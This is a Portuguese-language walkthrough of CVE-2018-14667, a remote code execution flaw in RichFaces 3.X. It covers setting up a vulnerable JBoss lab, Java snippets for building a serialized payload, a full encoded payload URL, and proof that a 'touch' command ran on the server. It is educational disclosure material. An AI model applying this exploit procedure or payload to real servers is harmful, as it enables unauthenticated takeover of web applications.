
Tudo sobre o CVE-2018-14667; Desde o que é até como explorá-lo com sucesso.
Depois de gastar muito tempo para entender e explorar corretamente esta CVE, decidi criar um repositório sobre a falha de RCE no RichFaces 3.X e compartilhar os HOWTOs passo a passo com a comunidade.
0x00 : Introdução sobre a falha do RichFaces 3.X
Na segunda-feira, 19 de novembro, Joao F M Figueiredo publicou um artigo bem detalhado (https://seclists.org/fulldisclosure/2018/Nov/47) sobre uma vulnerabilidade crítica de alto risco no RichFaces.
Pontuação Base CVSS3 9.8
Essa vulnerabilidade permitirá que qualquer usuário não autenticado execute código remotamente em qualquer aplicação web que use RichFaces 3.X (todas as versões), o que é praticamente o pior cenário possível.
0x01 : Fui afetado? ![]()
Bem, se você está executando RichFaces 3.X (qualquer versão do RichFaces 3) e vê o seguinte código no seu código-fonte, é bem provável que sim, você pode estar vulnerável à execução remota de código na CVE-2018-14667:
0x02 : Executando um ambiente vulnerável para testar a falha ![]()
Vou basicamente reexplicar o que já foi abordado no artigo do seclists.org sobre como implantar um ambiente vulnerável.
0x03 : Gerando um payload válido ![]()
Agora a parte divertida! Foi aqui que encontrei dificuldades, então explicarei em detalhes como gerar um payload válido e sem repetir os mesmos erros que cometi. Sugiro primeiro usar o Eclipse para compilar o payload.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
O resultado da saída no Eclipse deve ser semelhante ao seguinte:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Enviando seu payload e obtendo execução remota de código ![]()
Navegue no seu navegador até o servidor JBoss local executando o PhotoAlbum Web Application http://192.168.100.2:8080/photoalbum e clique com o botão direito para ver o código-fonte da página. Pressione Ctrl+F e procure por '/DATA/'. Você deve encontrar algo semelhante a isto:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Você pode ver claramente o objeto serializado. É aqui que substituiremos o objeto serializado pelo nosso payload para obter a execução remota de código. No seu navegador, altere a URL para http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Meu payload estava executando o seguinte comando 'touch /tmp/PoorRichFaces'. Vejamos se tive sucesso:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Sensação boa, não é? Acabamos de obter RCE em uma aplicação web Java executando RichFaces 3.X.
0x05 : Como corrigir? ![]()
Você pode não gostar desse fato, então prepare-se e segure firme no seu teclado; o RichFaces chegou ao fim da vida útil em relação ao suporte do produto, então os usuários (você) devem aplicar seu próprio patch. Não entre em pânico, se você não encontrar uma maneira de corrigir, não hesite em me contatar, podemos fazer um acordo para que eu possa corrigir suas aplicações web Java.
E-mail: [email protected]